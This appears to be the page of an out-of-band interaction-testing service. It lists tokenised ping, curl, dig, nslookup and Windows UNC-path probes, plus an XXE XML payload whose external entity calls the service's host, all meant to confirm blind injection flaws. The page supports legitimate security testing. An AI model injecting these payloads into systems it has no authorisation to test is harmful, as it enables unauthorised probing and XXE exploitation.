$ ping -c1 -p 00e0fa34d99cab7e267a780b730d5000 unhack.ca
 
$ curl http://unhack.ca/p/e0fa34d99cab7e267a780b730d50
 
$ dig e0fa34d99cab7e267a780b730d50 @unhack.ca
 
$ dig e0fa34d99cab7e267a780b730d50.ns.unhack.ca
 
C:\> nslookup e0fa34d99cab7e267a780b730d50 unhack.ca
 
C:\> type \\unhack.ca\e0fa34d99cab7e267a780b730d50\f.txt
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e0fa34d99cab7e267a780b730d50">]>
    <foo>&xxe;</foo>
 
Waiting for ping...